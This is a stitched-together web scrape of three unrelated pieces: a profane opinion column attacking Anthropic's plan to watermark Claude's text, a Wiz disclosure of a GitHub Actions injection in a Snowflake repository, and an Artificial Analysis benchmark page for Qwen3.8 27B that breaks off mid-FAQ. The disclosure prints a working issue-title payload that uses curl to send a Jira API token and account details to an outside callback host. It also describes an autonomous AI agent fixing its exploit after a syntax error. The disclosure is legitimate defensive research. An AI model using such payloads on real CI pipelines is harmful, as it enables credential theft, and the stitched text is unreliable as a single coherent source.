TheDaily Front

When I wrote this week about Anthropic’s announcement that all Claude models, worldwide, would soon begin “watermarking” everything they generate, including text, to comply with this EU regulation, we were left to speculate how this was going to work, because Anthropic offered not even a vague description of how it would work — despite the fact that the title of the announcement was, absurdly and insultingly, “How Claude Marks AI-Generated Content”.

My initial speculation was that maybe they’d hide invisible non-printing Unicode characters in the text. Just spitballing. Turns out that’s not what they’re going to do. What they’re going to do is apply a form of steganography, where the choice of words (or other token output) at inference time will leave fingerprints that can later, maybe, be detected probabilistically.

I initially guessed “invisible characters” not because I didn’t think of the semantic word-choice technique, but because I was a fool who took Anthropic at its word in their description of what they would do. Their original support document claims:

When a supported Claude model generates text, it weaves an imperceptible watermark directly into the text itself. You won’t see it, and it doesn’t change the meaning, quality, or readability of Claude’s response.

They say “imperceptible” and “doesn’t change the meaning, quality, or readability”. Their words. Not almost imperceptible. Not slightly changes the meaning, quality, or readability. That made sense to me, because that’s absolutely what I want — nay, demand — from any tools I use personally. It’s unacceptable for a tool to sacrifice an iota of clarity, coherence, meaning, quality, etc. for the purpose of embedding hidden clues within the text to suggest its provenance. That’s what I would and will demand. And Anthropic’s (original) support document unambiguously claims that’s what their system will enable. So if that were true, I couldn’t see what was left other than hiding invisible characters within the text.

My error was believing Anthropic that their system wouldn’t adulterate and corrupt the semantics of the text their models generate. That is in fact exactly what they plan to do. I should have my head examined for believing a single word of a document titled “How Claude Marks AI-Generated Content” that doesn’t explain, at all, how Claude marks (or will mark) AI-generated content.

How It’s Actually Going to Work

Yesterday, on an entirely different website than the original “How Claude marks AI-generated content” article (the one that didn’t explain anything at all about how it works), Anthropic published “How Claude’s Text Watermark Works”, which does actually explain in layman-accessible terms how it’s going to work. I will return to Anthropic’s new highly euphemistic and slightly misleading description below.

There’s a bunch of research on this topic, some of which I have also linked to below. But the very best description of the general idea behind the technique is an interactive essay by James Padolsey, “How AI Text Watermarking Works”. It’s a wonderfully cogent read, and the interactive elements splendidly illustrate the main concepts. A+ work. If you have any interest in this at all, I dare say you must read — and play with — Padolsey’s piece.

But here’s my stab at a layman’s high-level summary. If you toss a coin N times and note the results, you can determine with a degree of certainty whether the coin is fair or biased. LLMs are, in their popular incarnations, non-deterministic. Ask the same question of the same model and you often get at least slightly different answers. Maybe the same meaning, but different phrasing. At each decision point for generating the next token, the model makes a choice. With these semantic watermarking techniques, they make different choices for some tokens based on word lists that could be called “green” and “red”. At each decision point, they’re a little more likely to pick a word from the green list than the red list. That doesn’t mean they never choose words from the red list. Just that they’re less likely to than they would if the adulterated marking technique weren’t in place. (Same way that a crooked 51-49 coin will still land “wrong” side up 49 times out of 100 on average.)

Words or word phrases are sorted into the green and red lists deterministically on the fly, at each “next token” generation point. So sometimes a specific word will be on the green list, and other times it will be on the red list. Someone with the secret key can determine which list a word will be on at each token generation point (which is how the watermarking is detected); those without the secret key cannot. This means there will never be a list of words that Claude prefers or eschews.

With coin flipping, the higher N is — the more times you flip — the more confident you can be that the coin is fair or biased. So too with this semantic watermarking. The more words in the text, the more accurate the analysis will be that the text was generated by a specific AI model or not. With too few coin flips, you can’t achieve any confidence at all regarding a coin’s fairness. With too few words (or tokens), there’s no way to achieve any confidence whether a string of text was AI-generated or not.

Given a string of text to examine for signs of a specific watermarking system, if there are more words tagged as green and fewer tagged as red than would otherwise be expected, the text can be flagged — with some degree of confidence — as having been generated, or merely modified, by the AI system that applies the specific secret-key watermarking system. The amount of confidence in the determination will obviously vary, significantly, based on the size of the text string and randomized weights given to words on the green and red lists. But only Anthropic will be able to determine if text was seemingly generated by Claude, and Anthropic will only be able to detect the watermarks that are applied by Claude. Claude can’t detect the hidden watermark signals generated by, say, Gemini, and Gemini can’t detect the hidden watermark signals created by Claude, because each implementation is predicated on secret keys held only by the LLM provider.

Objections to the Technical Premise

One of my fundamental problems with this is that no two synonyms carry the exact same meaning. “He leaped at the chance” and “He jumped at the opportunity” are very similar sentences expressing the same general sentiment, but they are not the same. The exact words we choose when writing matter. I want any LLM I use to choose the very best, most precise words at every single decision point. An obvious constraint that I accept is time and computation. Within the constraint of executing inference quickly, and at a certain cost per token, I want the best words. This constraint matches human writing. I could surely write a better column by taking longer to write it. I write with a sense of how much care I should put into every word and punctuation choice I make. I take more time with certain paragraphs, sentences, or even individual word choices when my gut feeling says I should.

In other words, these are necessary trade-offs. These factors are all in my interest: speed, cost, quality. Ideally I would like perfect writing, at instantaneous generation speed, at zero cost. None of those things are possible. Computation is not free of charge (and cloud-based LLM inference with leading models is actually expensive). Inference is not instantaneous. And great writing, whether natural or artificial, can only approach perfection.

The idea that anything other than my needs should factor into the generation of text for me is patently offensive.

This isn’t just about text one might generate with the intention of passing it off as their own natural work. This isn’t even about LLM proofreading of work written by hand. Anthropic is saying that all new Claude models are going to adulterate every single bit of text longer than 200 tokens (~150 words) they generate, including everything it presents to its users to read. So even in a private conversation between a user and Claude, which will never be read by anyone other than the user, Claude will begin making word choices in the name of marking its output in statistically predictable ways rather than maximizing clarity and precision.

Even today’s so-called frontier models are already decidedly lacking in lucidity. Claude, ChatGPT, Grok, et al. are “better writers” than most humans and produce better prose than the median human. But: no shit. Most people are terrible writers. The “average person” is pretty stupid and half of all people are stupider than that. And there are many smart, interesting people who are miserable writers. So as impressive as LLMs are, the bar is low. The best writing I see come out of these models is worse than anything I would choose to read for pleasure. And now Anthropic is saying they’re going to make it worse, on purpose, for purposes that do not benefit me in any way? Even if only slightly worse?

Get fucked.

Objections to the EU Regulation

Speaking of objections, the relevant EU regulation motivating all of this, “Code of Practice on Transparency of AI-Generated Content”, is red-tape nanny-state pipe-dream nonsense. Here’s Ben Thompson’s summary from a paywalled Stratechery update this week:

• The regulation applies to text longer than 200 tokens.
• The provider must mandate in their terms-of-service that users not remove the watermarking.
• The solution should be robust in terms of evading “typical processing solutions” like screen shots, scanning and OCR, copy-and-pasting, translations, etc.

Taken literally, compliant LLM terms of service must forbid users from rephrasing the output from models that comply with this regulation, because the word choices are the marks. But it’s not the European Union that is trying to impose their absurd, impractical, witch-hunt-fueling regulation on the entire world. That falls on Anthropic.

Complying with this, particularly with regard to text, is only going to create problems for honest users. Dishonest users attempting to pass off AI-generated text as their own writing (students, employees, whoever) will simply circumvent detection through non-compliant AI paraphrasing tools.

James Padolsey — whose interactive visual explanation of how these schemes work I linked to above — explains this in a post titled “Anthropic’s Weak Watermarks Appease a Weak Law” (which, if it rings a bell, I linked to in a standalone post earlier today):

The same thought that led to this law could have applied to calculators at the time of their inception, had their outputs revealed themselves through artefacts. Thankfully, a sum borne of the brain is treated no differently from one produced by a calculator. Likewise with spellcheckers. To make assistance suspect only once the tool becomes capable enough to compose a whole sentence is not a principled boundary. It is a moral premium placed on difficulty itself.

Anthropic has nevertheless chosen a blanket, model-level implementation that appears broader than the law’s minimum requirement. That may be convenient compliance engineering, but it discards distinctions the law expressly attempted to preserve. The result is a signal broad enough to implicate harmless and assistive use, yet fragile enough to be removed by a motivated person through substantial recomposition. It risks concentrating suspicion on ordinary and assistive users while remaining weakest against deliberate deception.

Padolsey is the creator of Declaude, a delightfully simple web app that allows you to “Paste in AI-flavored text and get the same content back as plain prose”. Declaude’s original purpose is cleaning the saccharine Claude personality stink from text (whether it was created by Claude or any other LLM), but, if Anthropic persists in its stated plan to begin adulterating all text Claude generates, Declaude will also serve as a copy-paste single-extra-step way to eliminates those marks. Declaude is interesting and useful already, but it exemplifies how ill-considered and futile this EU regulation is when it comes to prose.

Google SynthID

Google has a watermarking system in place that they call SynthID, which they apply to AI-generated images, video, audio, and text. I’m concerned in this article only with text. With multimedia, embedded watermarks can be metadata within files, and truly not affect the experiential quality of the work when viewed or listened to. With text, we are talking about the actual words that are chosen. From the “AI-generated text” section of Google DeepMind’s own description of SynthID:

We’ve expanded SynthID to watermarking and identifying text generated by the Gemini app and web experience. Large language models generate text one word (token) at a time. Each word is assigned a probability score, based on how likely it is to be generated next. So for a sentence like “My favorite tropical fruits are mango and…”, the word “bananas” would have a higher probability score than the word “airplanes”. SynthID adjusts these probability scores to generate a watermark. It’s not noticeable to the human eye, and doesn’t affect the quality of the output.

In a group chat, a friend of mine quoted the above, and I responded that if a chatbot wrote “My favorite tropical fruits are mango and airplanes”, I’m pretty sure I’d fucking notice. Another friend then responded with this:

Days later, that still cracks me up.

But Google’s absurd description puts the lie to their own claim that it isn’t noticeable, and it serves to show just how little regard the people behind these generated-text fingerprinting schemes have for the actual craft of writing. Of course bananas has a higher probability score than airplanes, because airplanes aren’t fruit. But what about pineapple? Should the sentence complete to “mango and bananas” or “mango and pineapple”? That’s a good question, and the only acceptable answer for why an LLM should choose bananas instead of pineapple (or coconut, or guava, or papaya...) is that it has determined that it’s the best fit for the intended meaning, tone, and sentiment of the text. Not because bananas is on the watermarking “green” list and pineapple is on the “red” list, even though pineapple might be the better fit. Google’s own supposedly jocular description of how SynthID works in fact captures how the scheme perverts the text it generates.

They’re saying you won’t notice because if it only chooses bananas over pineapple for these fingerprinting purposes, well, they’re both tropical fruits and who cares. But it’s utter nonsense that the difference is “not noticeable to the human eye”. The semantic difference between banana and pineapple is just as noticeable to the human eye as the taste of the two are to the human tongue.

If it did produce “My favorite tropical fruits are mango and airplanes”, it’d be incredibly stupid, but it wouldn’t be offensive because we’d all recognize that something completely off-key happened. What’s offensive is that with a system like SynthId in place, where the fingerprinting decisions are motivated by a secret key, we have no idea whether it completed to “mango and bananas” because bananas was determined to be the best next token, or because bananas is in the “green” bucket of words. It calls every single word choice into question.

Here’s a paper published in Nature where Google’s team behind SynthID published their work, after putting it into production with Gemini (née Bard):

We analysed approximately 20 million watermarked and unwatermarked responses and computed the thumbs-up and thumbs-down rates (both as a fraction of the total number of thumbs-up and thumbs-down feedback received). We found that the thumbs-up rate for the two models differed by 0.01% (with the watermarked model being higher); and the thumbs-down rate differed by 0.02% (with the watermarked model being lower). We found both of these differences to be statistically insignificant, and well within the 95% confidence intervals.

From this experiment, we conclude that over a wide variety of real chatbot interactions, the difference in response quality and utility, as judged by humans, is negligible. Subsequently, non-distortionary SynthID-Text has been productionized and is currently watermarking responses in Gemini and Gemini Advanced. To the best of our knowledge, this evaluation represents the first systematic watermarking investigation of its kind within a large-scale production system.

To this I say:

• Gemini/Bard’s thumbs-up/thumbs-down buttons are not a good experiment for evaluating the effect on quality. If a chatbot tells me “My favorite tropical fruits are mango and bananas” instead of “mango and pineapple”, I’m not going to give the response a thumbs down because of the fruit it chose. I’d give it a thumbs down if it said “airplanes”, yes, but that’s a strawman. (The paper in Nature even uses “My favourite tropical fruit is ...” as an illustration, but in the paper, the only four next tokens considered are, in order of probability distribution, mango, lychee, papaya, and durian. No airplanes. And, conveniently, in the paper’s example, the “winner” of the watermarking “tournament” just happens to be mango, the one that would have been selected as the best if the watermarking weren’t in place.)
• A “difference in response quality and utility, as judged by humans” that is “negligible” does not mean imperceptible. What they really mean is that it’s only slightly worse and that everyone is either too stupid to notice or too indifferent to care.
• It’s widely considered that Gemini is behind ChatGPT and Claude in quality. Perhaps the fact that they’ve put SynthID-text into production is one of many reasons why. I personally agree that Gemini’s prose is inferior. Maybe the use of SynthID has nothing to do with the fact that I, along with the general public consensus, consider Gemini to be a second-rate chatbot — but in that case, maybe it’s the fact that Gemini is a second-rate chatbot that makes the difference “negligible” when Google started mixing in SynthID-motivated tokens in its results. It’s a lot more likely that your restaurant customers won’t notice that you replaced your regular coffee with Folgers Crystals if your regular coffee is second-rate to start with.

Anthropic

Now, finally, back to Anthropic’s new “How Claude’s Text Watermark Works”, published yesterday. I have some comments.

To summarize:

• We use a method of watermarking that does not have any practical impact on the quality or content of Claude’s outputs;
• The difference between watermarked and un-watermarked text will not be distinguishable to readers;

Translation: Specific words do not matter and we don’t think anyone reads anything closely.

• Nothing is added to the text and there are no hidden characters;

This would have been worth clarifying at the outset.

• Watermarking won’t be specific to Claude. As of August 2, the EU requires AI providers serving its market to mark AI-generated content. Other major model developers have signed the same Code of Practice and will be implementing their own watermarks.

No other AI provider has stated that they will apply such marking, adulterating all generated text, outside the EU.

Take the sentence “The weather today was cold and…”. The next word is very unlikely to be “sugary.” But it is quite likely to be “overcast” or “grey.” Under most circumstances, it doesn’t matter much to the reader which of these latter two words the model ultimately chooses — the meaning of the sentence is largely the same either way. In cases like this, the choice is settled by a random number.

Arguing that grey vs. overcast “doesn’t matter much to the reader” is the crux of my argument that this entire endeavor is a perverse adulteration of what it means to write — or to read. That it’s subtle in some ways makes it more perverse, because it’s sneaky.

In internal testing, we’ve seen no impact of watermarking on the content, level of creativity, or readability of Claude’s text. In the SynthID-Text paper, which introduced the technique we use, Google DeepMind tested this impact by serving a model that used watermarking to a portion of their Gemini traffic and comparing thumbs-up and thumbs-down ratings. They found no statistically significant differences from the unwatermarked model. And in a controlled study, human raters comparing watermarked and unwatermarked answers side-by-side saw no difference in quality.

See above for my argument that this thumbs-up/thumbs-down data is absolutely worthless in evaluating whether the SynthID-style word-bias watermarking makes text worse. By definition it must make text worse, unless the underlying LLM model’s scoring is wrong, because the nature of the watermarking algorithm requires it to sometimes increase the probability of selecting a worse word choice and decrease the probability of selecting the model’s best choice. It’s only a question of how much worse. What Google’s thumb-counting data shows is only that it isn’t so much worse as to make Gemini users click the thumbs-down button.

Watermarking doesn’t change the meaning or experience for the person reading it, but if you wanted to check after the fact whether the text was likely generated by Claude, the watermark allows you to do so.

No, it does not. Because the entire scheme is tied to secret keys held only by the AI provider, it only allows Anthropic, not “you”, to check anything.

When Claude proofreads text written by a person, what it gives back has generally only been lightly edited; because nearly all the words are the person’s, there’s very little (if anything) for the watermark to attach to. Depending on the length of the text and how heavily Claude has edited it, those changes might not be enough to make Claude’s involvement detectable. The more Claude writes, the more decisions it has to make, and the more space there is for a watermark.

Translation: No one can ever again use Claude for proofreading their own prose unless they’re willing to risk that the whole thing might be flagged as having been generated by Claude.

For example, once the model has written “2 + 2 =”, there is a very clear best choice for the next token (if the model is completing the sum, there isn’t an answer that’s equally as good as “4”; if it’s talking about George Orwell’s Nineteen Eighty-Four, there isn’t an answer that’s equally as good as “5”). The “nudge” of the watermark wouldn’t be applied here. For the same reason, code — which in very many cases has to be exact — has generally less watermarking than some other forms of text.

Having said that, in areas where there is an arbitrary choice between particular words or terms within the code, the watermark can be used, such as comments within code. But by definition, it will have a negligible effect on the actual code produced.

Translation: We value precision in programming code; we do not in prose.

And it is exceedingly rich to cite George Orwell’s Nineteen Eighty-Four, approvingly, in the context of justifying a text adulteration scheme premised on the notion that specific words do not matter. I mean what the actual fuck? Orwell!

Lastly, as to why they’re doing this:

We’re implementing watermarking to comply with the EU AI Act. Anthropic, along with several other major AI model providers and around 190 total signatories, signed the EU Code of Practice on Transparency of AI-Generated Content in July 2026. This requires AI system providers to use methods of “marking” AI-generated text. We’re applying watermarking globally at launch because we don’t yet have a durable way to scope it by region.

This, from a company that the Financial Times just reported is weeks away from an IPO with an intended valuation of $2 trillion, which would make it one of the 10 highest-valued companies in the world — as of today, placing it at #7, between TSMC ($2.2T) and Broadcom ($1.9T).

This leaves us to believe that one of the following must be true:

• It’s perfectly reasonable that a technology company valued on par with Amazon and TSMC is technically incapable of complying with an EU regional law only within the EU itself.1 Not a cause for concern at all.
• Anthropic is in over their heads, wields shockingly little control over their own tech stack, and their imminent IPO is likely to be remembered only as a new high-water mark in the manic global AI bubble.

Also, what happens if another major global market makes it unlawful for AI to secretly watermark generated text?

OpenAI

From an OpenAI support document titled “Provenance Signals (Content Credentials, SynthID) in OpenAI-Generated Content”:

Consistent with our commitments under the European Commission’s Code of Practice on Transparency of AI-generated content, our goal is to expand provenance signals to all modalities including text, so customers and developers have clear ways to meet their own transparency obligations as standards and tooling continue to mature.

There’s a lot of wiggle room in this brief statement, and it could just as well mean that OpenAI models will only adulterate text with fingerprint markers when users or developers ask for it. Or that it will only be mandatory for users in the EU. If I were at OpenAI I’d go hard on this and publicly say that ChatGPT will never watermark text it generates unless you ask it to, and that if you want tools that secretly work behind your back without telling you how they work to flag your words in ways you can’t see, go ahead and use Claude.

Further Reading

Three papers on ArXiv:

• “A Watermark for Large Language Models”, last revised May 2024.
• “Watermarks in the Sand: Impossibility of Strong Watermarking for Generative Models”, last revised May 2025.
• “Robust Text Watermarking for Large Language Models via Dual Semantic Embeddings”, last revised June 2026.

I will admit that while I’m profoundly offended by the idea of personally using tools that attempt to leave such watermarks in text they produce or touch, the mathematics behind it are fascinating.

Michael Lopp, at Rands in Repose, “RIP Claude”:

As a human who has had to wrangle with EU regulations in the past, I am abundantly clear what’s involved in the laborious bureaucratic process. I can guess what threats Anthropic is facing. However, this is a tone-deaf, clumsy, and alarming opening salvo in their watermark strategy. [...]

My writing is my work, and Anthropic’s current strategy is aggressively writer-hostile.

Jeff Gamet, “Anthropic’s Claude Watermark Is Akin to an AI Poison Pill”:

To be clear, the watermarking is embedded in pretty much any text Claude touches. Along with text Claude generates, it also applies to text it processes, such as proofreading and summarizing. I expect we’ll see too many inaccurate accusations of using Claude to write documents where the content was human-written, but AI-proofread.

The watermarking sticks with documents through copy-and-paste, too. Imagine copying text from a blog post or email only to have what you wrote tagged as potentially AI-generated. In fact, that could very well happen with this post. I personally write all of my content without AI tools, but I copied the quote at the top of this piece directly from Anthropic’s website. Does that mean what I wrote here will show as AI-generated? If they used their own models to generate or edit what I quoted, then the answer is very likely “yes.”

One of the papers published at ArXiv I cited above claims that such watermarking even persists when an article of text originally generated in English is translated into German.

Secrets are the poison here. When only Anthropic holds the secret keys that both produce the watermarking and perform the probabilistic detection of those marks, we’re all left to wonder. To wonder if what we’re reading is secretly watermarked, what we’re quoting is secretly watermarked, and whether what we ourselves are writing will be unjustly accused of being AI-generated based on secrets we don’t know and can’t see. Poisonous is exactly the right word.

Or should I say toxic? Or airplanes?

---

1. This is the side that noted savant Jim Cramer is on. ↩︎

Wiz Red Agent independently discovered and exploited a GitHub Actions injection missed by GitHub’s Advanced Security, validated access to sensitive data in Snowflake’s internal Jira, and assessed the blast radius—all without human intervention, five days after the flaw became live.

As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.

This incident highlights a new reality in software development: Critical vulnerabilities can still be introduced and approved within workflows involving AI coding agents and can still pass established automated security checks, while autonomous AI security agents can rapidly discover and exploit them in the wild.

Upon responsible disclosure on June 23, 2026 by Wiz, Snowflake remediated the vulnerability on the same day, rotated the affected credential, and verified via detailed audit logs that Wiz was the sole actor during the exposure window. Wiz confirmed that all data accessed during proof-of-concept testing was securely deleted.

August 17, 2026, 1957 UTC update: This blog has been updated to clarify that Copilot was a co-author that checked the merged PR and code change, and identified it as all-clear without noticing the critical vulnerabilities. It's unclear whether the code-change was AI-assisted.

Executive Summary

Wiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net. The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a GitHub issue with a specially crafted title.

Crucially, the vulnerability became live on June 18, 2026 - just five days before its discovery - when PR #1218 was merged. GitHub Advanced Security scan analyzed the final PR revision, including the vulnerable workflow, but did not flag the critical injection.

Screenshot demonstrating access to Snowflake's Jira portal, via an exfiltrated token

Exposure Walk-Through

Discovery

Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub organization and flagged the jira_issue.yml Workflow in snowflakedb/snowflake-connector-net as vulnerable to script injection via untrusted input in run: blocks. 

The Code Change

- env:
  - ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)

The workflow triggered on issues: opened - meaning any GitHub user could fire it by opening an issue - and interpolated the attacker-controlled issue title directly into a shell script:

run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g") 

The sed escaping runs after GitHub's template expansion, a single quote in the title breaks out of echo '...' and allows arbitrary command execution.

The injectable pattern was added to jira_issue.yml in commit 094038e and became live when PR #1218 was squash-merged as commit 4a1b8ce (PR #1218: “SNOW-2069227: Update jira workflows”). Copilot Autofix’s documented contribution was a separate fix to jira_close.yml within the same PR. GitHub Advanced Security’s scan explicitly extracted the vulnerable jira_issue.yml workflow but did not flag the injection. The merged PR removed the repository’s existing safe env: and jq pattern and replaced it with direct ${{ github.event.issue.title }} interpolation, creating the injection vector.

The commit introducing the vulnerable pattern

The code change introducing the vulnerable pattern

The Open “Security Gate”

The workflow had an if: condition that appeared protective:

if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')

However, on issues events, github.event.pull_request is always null. 

So the condition reduces to (null != 'whitesource-for-github-com[bot]'). This is always true, and every GitHub user passes the gate.

The Open “Security Gate”

Exploitation

We crafted an issue title that, after template expansion, breaks out of the echo string and exfiltrates the Jira credentials via an out-of-band callback:

Crucially, when Red Agent’s cicd capability initially attempted exfiltration using a standard comment character (#), the runner returned a bash syntax error because the comment consumed the closing parenthetical of TITLE=$(...). Rather than stopping or failing, Red Agent:

1. autonomously analyzed the syntax execution error
2. adjusted its payload to use ; echo ' to properly close the shell block, and
3. successfully received the out-of-band callback

' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '

Within seconds, our listener received the callback from a GitHub Actions runner (Azure IP 20.106.182.197) containing base64-encoded credentials.

The POC PR with payload in the Issue title

Note: Our first attempt used # to comment out the rest of the line, which caused an unexpected EOF bash error because it also ate the closing ) of TITLE=$(...). The fix was using ; echo ' to properly close the shell syntax.

The workflow log showing successful exploitation

The exfiltrated token linked to qa@snowflake.net

The exfiltrated token authenticated as qa@snowflake.net to snowflakecomputing.atlassian.net, granting read access across Snowflake's engineering, security compliance, and bug bounty tracking projects.

Remediation & Forensics

1. Same-Day Patching: Snowflake patched the workflow on June 23, 2026 (1dc7766, PR #1402), fully restoring the safe env: variable and jq --arg parsing pattern.
2. Credential Revocation: The JIRA token in question was revoked and rotated.
3. Forensic Verification: Comprehensive audit log analysis confirmed that no external third parties accessed the endpoint during the 5-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs.

Key Takeaways

• AI Code Generation Demands Rigorous Oversight: AI coding tools predict code based on probabilistic patterns, which can inadvertently reintroduce deprecated or insecure shell patterns. AI-generated PRs must undergo the same static analysis and security scrutiny as human code.
• Collapsing Discovery Windows: The vulnerability was live for only five days before an automated agent discovered and validated it. Security operations must adapt to a landscape where automated discovery occurs in hours, requiring rapid patch cycles and short-lived credentials.
• Preventing CI/CD Security Regressions: Security intent can be lost when safer code patterns are not explicitly enforced. In this incident, the merged PR removed a safe env: + jq parsing pattern and replaced it with direct string interpolation, while the existing security solution failed to flag the resulting injection that led to the exposure.

Disclosure Timeline

• June 18, 2026 - The vulnerability became live when PR #1218 was merged.
• June 23, 2026 - Wiz identified, exploited, and reported vulnerability to Snowflake via HackerOne (report #3819931)
• June 23, 2026 - Slack notification sent to Snowflake security team
• June 23, 2026 (same day) - Snowflake patches the vulnerable script-injection workflow (commit 1dc7766, PR #1402), restoring the safe env: + jq --arg pattern.
• June 24, 2026 - Jira token rotated
• July 25, 2026 - Public disclosure deadline (30 days after the June 25 resolution, per Snowflake’s disclosure policy)

Snowflake’s Response

Snowflake appreciates Wiz's responsible reporting of and collaboration around these findings through our vulnerability disclosure and bug bounty program, HackerOne. Wiz Research reported a security vulnerability in one of Snowflake's public GitHub repositories. The disclosure was received on June 23, 2026, and it was immediately investigated and remediated, and our investigation found no evidence of unauthorized access. Protecting our systems remains a top priority, and we remain committed to continually strengthening our software development and security practices. We are working together with Wiz to share these learnings with the broader industry to encourage widespread adoption of these security best practices.

Model summary

Intelligence

#1 / 135

52

Artificial Analysis Intelligence Index

4 out of 4 units for Intelligence.

Speed

N/A

Output tokens per second

Unknown out of 4 units for Speed.

Cost

In $0.00Out $0.00

N/A

Cost per Intelligence Index task

Unknown out of 4 units for Cost.

Verbosity

#23 / 135

160M

Output tokens from Intelligence Index

4 out of 4 units for Verbosity.

Comparison Summary

Qwen3.8 27B is amongst the leading models in intelligence and well priced when comparing to other open weight models of similar size. The model supports text and image input, outputs text, and has a 256k tokens context window.

Qwen3.8 27B scores 52 on the Artificial Analysis Intelligence Index, placing it well above average among comparable models (median: 9). When evaluating the Intelligence Index, it generated 160M tokens, which is very verbose in comparison to the median of 43M.

Pricing for Qwen3.8 27B is $0.00 per 1M input tokens (competitively priced, median: $0.04) and $0.00 per 1M output tokens (competitively priced, median: $0.15).

Technical specifications

ReasoningYes

This page shows the reasoning version of this model.

A non-reasoning variant may also exist.

Input modality

Supports: text and image

Output modality

Supports: text

Context window256k

~384 A4 pages of size 12 Arial font

Total parameters27B

License: Apache 2.0

Model weights: Hugging Face

135 models in this class

Metrics are compared against models of the same class:

• Non-reasoning models → compared only with other non-reasoning models
• Reasoning models → compared across both reasoning and non-reasoning
• Open weights models → compared only with other open weights models of the same size class:
  • Tiny: ≤4B parameters
  • Small: 4B–40B parameters
  • Medium: 40B–150B parameters
  • Large: >150B parameters
• Proprietary models → compared across proprietary and open weights models of the same price range, using a blended 3:1 input/output price ratio:
  • <$0.15 per 1M tokens
  • $0.15–$1 per 1M tokens

  • $1 per 1M tokens

Intelligence

Artificial Analysis Intelligence Index

Artificial Analysis Intelligence Index v4.1.1 incorporates 9 evaluations: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR

Artificial Analysis Intelligence Index

Artificial Analysis Intelligence Index v4.1.1 includes: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR. See Intelligence Index methodology for further details, including a breakdown of each evaluation and how we run them.

Open Weights

Indicates whether the model weights are available. Models are labelled as 'Commercial Use Restricted' if the weights are available but commercial use is limited (typically requires obtaining a paid license).

Benchmarks

Intelligence Evaluations

Intelligence evaluations measured independently by Artificial Analysis · Higher is better

GDPval-AA v2

Agentic real-world work tasks, (Elo-500)/2000

𝜏³-Banking

Agentic tool use

Terminal-Bench v2.1

Agentic coding & terminal use

SciCode

Coding

Humanity's Last Exam

Reasoning & knowledge

GPQA Diamond

Scientific reasoning

CritPt

Physics reasoning

AA-Omniscience Accuracy

Knowledge

AA-Omniscience Non-Hallucination Rate

1 - hallucination rate

AA-LCR

Long context reasoning

AA-Briefcase

Agentic knowledge work, Elo

AutomationBench-AA

Agentic SaaS workflows

Harvey LAB-AA

Legal agentic work, criterion pass rate

EnterpriseOps-Gym-AA

Agentic business operations

AA-AnalystAgent

Quantitative analysis on spreadsheets & documents

IFBench

Instruction following

APEX-Agents-AA

Long-horizon agentic tasks

ITBench-AA

Kubernetes incident root-cause analysis

MMMU-Pro

Visual reasoning

Intelligence Evaluation Relevance

While model intelligence generally translates across use cases, specific evaluations may be more relevant for certain use cases.

Artificial Analysis Intelligence Index

Artificial Analysis Intelligence Index v4.1.1 includes: GDPval-AA v2, 𝜏³-Banking, Terminal-Bench v2.1, SciCode, Humanity's Last Exam, GPQA Diamond, CritPt, AA-Omniscience, AA-LCR. See Intelligence Index methodology for further details, including a breakdown of each evaluation and how we run them.

AA-Omniscience Index

AA-Omniscience Index (higher is better) measures knowledge reliability and hallucination. It rewards correct answers, penalizes hallucinations, and has no penalty for refusing to answer. Scores range from -100 to 100, where 0 means as many correct as incorrect answers, and negative scores mean more incorrect than correct.

Openness Index

Artificial Analysis Openness Index: Score

Openness Index assesses model openness on a 0 to 100 normalized scale (higher is more open)

Intelligence Index Comparisons

Cost per Intelligence Index Task

Weighted average cost per Intelligence Index task. Each evaluation’s cost is calculated from input, cache hit, cache write, reasoning, and answer token prices, divided by task count, and weighted by its Intelligence Index weight.

Output Tokens per Intelligence Index Task

Weighted average number of output tokens used to run one task in the Artificial Analysis Intelligence Index

Output Tokens per Intelligence Index Task

The number of tokens required per Intelligence Index task. This is calculated by multiplying the output tokens per eval by the relative weights of each benchmark in the Intelligence Index, then dividing by task count (excluding repeats).

Cost

Cost per Intelligence Index Task

Weighted average cost (USD) per Intelligence Index task, segmented by token type. Lower is better

Cost per Intelligence Index Task

Weighted average cost per Intelligence Index task. Each evaluation’s cost is calculated from input, cache hit, cache write, reasoning, and answer token prices, divided by task count, and weighted by its Intelligence Index weight.

Cost to Run Artificial Analysis Intelligence Index

Cost (USD) to run all evaluations in the Artificial Analysis Intelligence Index

Cost to Run Artificial Analysis Intelligence Index

The cost to run the evaluations in the Artificial Analysis Intelligence Index, calculated using the model's input, cache hit, cache write, reasoning, and answer token prices and the number of tokens used across evaluations (excluding repeats).

Cache Hit

Price per token for cached prompts (previously processed), typically offering a significant discount compared to regular input price, represented as USD per million tokens. The values shown here are the cache hit price; cache write and cache storage are billed separately and vary by provider — see "Cache pricing by provider" for detail.

Context Window

Context Window for RAG

Larger context windows are relevant to RAG (Retrieval Augmented Generation) LLM workflows which typically involve reasoning and information retrieval of large amounts of data.

Context Window

Maximum number of combined input & output tokens. Output tokens commonly have a significantly lower limit (varied by model).

Model Size (Open Weights Models Only)

Model Size: Total and Active Parameters

Comparison between total model parameters and parameters active during inference

Total Parameters

The total number of trainable weights and biases in the model, expressed in billions. These parameters are learned during training and determine the model's ability to process and generate responses.

Active Parameters at Inference Time

The number of parameters actually executed during each inference forward pass, expressed in billions. For Mixture of Experts (MoE) models, a routing mechanism selects a subset of experts per token, resulting in fewer active than total parameters. Dense models use all parameters, so active equals total.

Frequently Asked Questions

Common questions about Qwen3.8 27B

When was Qwen3.8 27B released?

